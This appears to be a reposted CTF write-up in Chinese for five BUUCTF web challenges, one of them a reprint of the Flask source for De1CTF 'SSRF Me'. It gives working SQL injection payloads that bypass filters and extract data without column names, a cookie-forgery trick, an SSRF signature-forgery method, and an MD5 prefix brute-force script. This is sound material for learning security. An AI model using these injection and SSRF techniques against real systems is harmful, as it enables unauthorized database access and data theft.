ToB企服应用市场:ToB评测及商务社交产业平台

标题: BUUCTF-WEB(56-60) [打印本页]

作者: 去皮卡多    时间: 2024-5-31 22:20
标题: BUUCTF-WEB(56-60)
[SWPU2019]Web1

参考:
[buuctf-SWPU2019]Web1(小宇特详解)-CSDN博客
information_schema过滤与无列名注入_mysql 5.0以上的information表 如果给过滤用不了的 话你要怎么查库表列名-CSDN博客
upfine的博客 (cnblogs.com)
这边有个注册,我注册了一下,登陆进去
有个申请广告,我以为xss,但好像并没有呆板人会确认你的广告,所以钓鱼不到

所以在广告详情这里又发现了参数,应该这道题是sql注入

这过滤了空格,or,--+
所以我们/**/绕过空格,并且无法用order,所以我们直接一个一个试多少个字段,一共22个
  1. -1'/**/union/**/select/**/1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22'
复制代码
2,3均回显

然后爆数据库
  1. -1'/**/union/**/select/**/1,2,database(),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22'
复制代码

然后开始爆表
这里发现有报错了,突然想起来information里面有or
所以换了一种
  1. -1'/**/union/**/select/**/1,2,group_concat(table_name),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22/**/from/**/mysql.innodb_table_stats/**/where/**/database_name="web1"'
  2. -1'/**/union/**/select/**/1,2,table_name,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22/**/from/**/sys.schema_auto_increment_columns/**/where/**/database_name="web1"'//这个不行
复制代码

然后就是爆列,这无法爆出来,我们就无列名注入https://blog.csdn.net/weixin_49656607/article/details/119988304
然后这边为什么是三个列,我也没搞明确,试出来的?
  1. -1'/**/union/**/select/**/1,(select/**/group_concat(`3`)/**/from/**/(select/**/1,2,3/**/union/**/select/**/*/**/from/**/users)x),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22&&'1'='1
复制代码

[BSidesCF 2019]Kookie

打开标题是一个登录框,他说检验cookie

然后我们burp抓包加一个
  1. Cookie:username=admin
复制代码

拿到flag

[BSidesCF 2019]Futurella

啊,F12

[De1CTF 2019]SSRF Me

参考:
[BUUCTF | De1CTF 2019]SSRF Me - 东坡肉肉君 - 博客园 (cnblogs.com)
[BUUCTF:De1CTF 2019]SSRF Me_buuctf [de1ctf 2019]ssrf me-CSDN博客
已经提示了文件路径

整理一下源码
  1. #! /usr/bin/env python
  2. #encoding=utf-8
  3. from flask import Flask
  4. from flask import request
  5. import socket
  6. import hashlib
  7. import urllib
  8. import sys
  9. import os
  10. import json
  11. import importlib,sys
  12. importlib.reload(sys)
  13. sys.setdefaultencoding('latin1') #编码转换
  14. app = Flask(__name__) #Flask框架
  15. secert_key = os.urandom(16) #返回一个有n个byte那么长的一个string,然后很适合用于加密。
  16. class Task:
  17.     def __init__(self, action, param, sign, ip):#python的构造方法
  18.         self.action = action
  19.         self.param = param
  20.         self.sign = sign
  21.         self.sandbox = md5(ip)
  22.         if(not os.path.exists(self.sandbox)): #SandBox For Remote_Addr os.path.exists判断括号里的文件是否存在的意思,括号内的可以是文件路径。
  23.             os.mkdir(self.sandbox) #用于以数字权限模式创建目录。
  24.     def Exec(self):# 定义的命令执行函数。
  25.         result = {}
  26.         result['code'] = 500
  27.         if (self.checkSign()):
  28.             if "scan" in self.action:#action的值包括scan
  29.                 tmpfile = open("./%s/result.txt" % self.sandbox, 'w')
  30.                 resp = scan(self.param)#文件读取的注入点
  31.                 if (resp == "Connection Timeout"):
  32.                     result['data'] = resp
  33.                 else:
  34.                     print(resp)#输出结果
  35.                     tmpfile.write(resp)
  36.                     tmpfile.close()
  37.                 result['code'] = 200
  38.             if "read" in self.action:#action的值包括read
  39.                 f = open("./%s/result.txt" % self.sandbox, 'r')
  40.                 result['code'] = 200
  41.                 result['data'] = f.read()
  42.             if result['code'] == 500:
  43.                 result['data'] = "Action Error"
  44.         else:
  45.             result['code'] = 500
  46.             result['msg'] = "Sign Error"
  47.         return result
  48.     def checkSign(self):
  49.         if (getSign(self.action, self.param) == self.sign):#判断
  50.             #hashlib.md5(secert_key + param + action).hexdigest()
  51.             return True
  52.         else:
  53.             return False
  54. #generate Sign For Action Scan.
  55. @app.route("/geneSign", methods=['GET', 'POST'])#此路由用于测试
  56. def geneSign():
  57.     param = urllib.unquote(request.args.get("param", "")) #urllib.unquote字符串被当作url提交时会被自动进行url编码处理,  当需要获取前端页面表单传过来的id值的时候,我们就需要用request.args.get,而不能用request.form
  58.     action = "scan"
  59.     return getSign(action, param)
  60.     #hashlib.md5(secert_key + param + action).hexdigest()
  61.     #即: hashlib.md5(secert_key + param + 'scan').hexdigest()
  62. @app.route('/De1ta',methods=['GET','POST'])#此路由用于注入
  63. def challenge():
  64.     action = urllib.unquote(request.cookies.get("action"))
  65.     param = urllib.unquote(request.args.get("param", ""))
  66.     sign = urllib.unquote(request.cookies.get("sign"))
  67.     ip = request.remote_addr
  68.     if(waf(param)):
  69.         return "No Hacker!!!!"
  70.     task = Task(action, param, sign, ip)
  71.     return json.dumps(task.Exec()) #将一个Python数据结构转换为JSON
  72. @app.route('/') # 根目录路由,就是显示源代码得地方
  73. def index():
  74.     return open("code.txt","r").read()
  75. def scan(param):# 这是用来扫目录的函数
  76.     socket.setdefaulttimeout(1)#代表经过t秒后,如果还未下载成功,自动跳入下一次操作,此次下载失败。
  77.     try:
  78.         return urllib.urlopen(param).read()[:50]
  79.     except:
  80.         return "Connection Timeout"
  81. def getSign(action, param):
  82.     return hashlib.md5(secert_key + param + action).hexdigest()
  83. def md5(content):
  84.     return hashlib.md5(content).hexdigest()
  85. def waf(param):#wef,需要绕过
  86.     check=param.strip().lower() #用于移除字符串头尾指定的字符(默认为空格或换行符)或字符序列。
  87.     if check.startswith("gopher") or check.startswith("file"):#.startswith用于检查字符串是否是以指定子字符串开头,
  88.         return True
  89.     else:
  90.         return False
  91. if __name__ == '__main__':
  92.     app.debug = False
  93.     app.run(host='0.0.0.0')
复制代码
有三个路由

然后看这里

他将我们传入的param的这个参数以及action的这个参数传入到getSign函数
action已经固定为scan,而param为我们所传值,后面应该可以利用上
getSign函数定义如下,来生成一个署名,MD5

来生成一个署名,MD5
再看challeng这个函数

从cookie里面获取action以及sign,再传递一个param参数,param有一层waf,然后去实行Exec这个函数
再看exec这个函数


先比较署名,然后进行下一步,如果action里面有scan这个字符串,就以scan读取文件,然后有read,就以read读取
我们需要利用利用scan将flag.txt的内容写入到result.txt中,然后read读取result.txt
我们需要scan以及read都要,也就是action=readscanm,所以我们构造署名,在geneSign创建的sign值后面Exec里面去比较时候这样刚好构成相称
  1. md5(secert_key + flag.txtread + scan) = md5(secert_key + flag.txt + readscan)
复制代码
也就是这里会相称

所以我们先去/geneSign创一个署名、
  1. /geneSign?param=flag.txtread
复制代码
然后得到一个署名
7afd8b4da9021c599e6561a2bf1f9bca
然后去/Delta去再传递一下Cookie就得到flag了

[BJDCTF2020]EasySearch

参考:
BJDCTF2020 EasySearch_bjdctf2020easy search-CSDN博客
Apache SSI 远程命令实行漏洞复现 - 雨中落叶 - 博客园 (cnblogs.com)
我这边没扫到目次,根据wp是有一个index.php.swp这个备份文件
访问一下,看一下

意思就是我们需要传递的密码里面,md5加密后前6位=‘6d0bc1'
脚本看一下
  1. import hashlib
  2. for i in range(10000000):
  3.     a = hashlib.md5(str(i).encode('utf-8')).hexdigest()
  4.     if(a[0:6]=='6d0bc1'):
  5.         print(i)
复制代码

然后我们抓包,post传递一下
  1. username=1&password=2020666
复制代码
然后看响应包有一个

然后我们访问一下

然后我以为会在XFF这些有命令实行,没找到
然后就是wp说到Apache SSI 远程命令实行漏洞复现 - 雨中落叶 - 博客园 (cnblogs.com)
然后post
  1. username=&password=2020666
复制代码
访问一下

接下来就是找flag
  1. username=&password=2020666
复制代码


免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!更多信息从访问主页:qidao123.com:ToB企服之家,中国第一个企服评测及商务社交产业平台。




欢迎光临 ToB企服应用市场:ToB评测及商务社交产业平台 (https://dis.qidao123.com/) Powered by Discuz! X3.4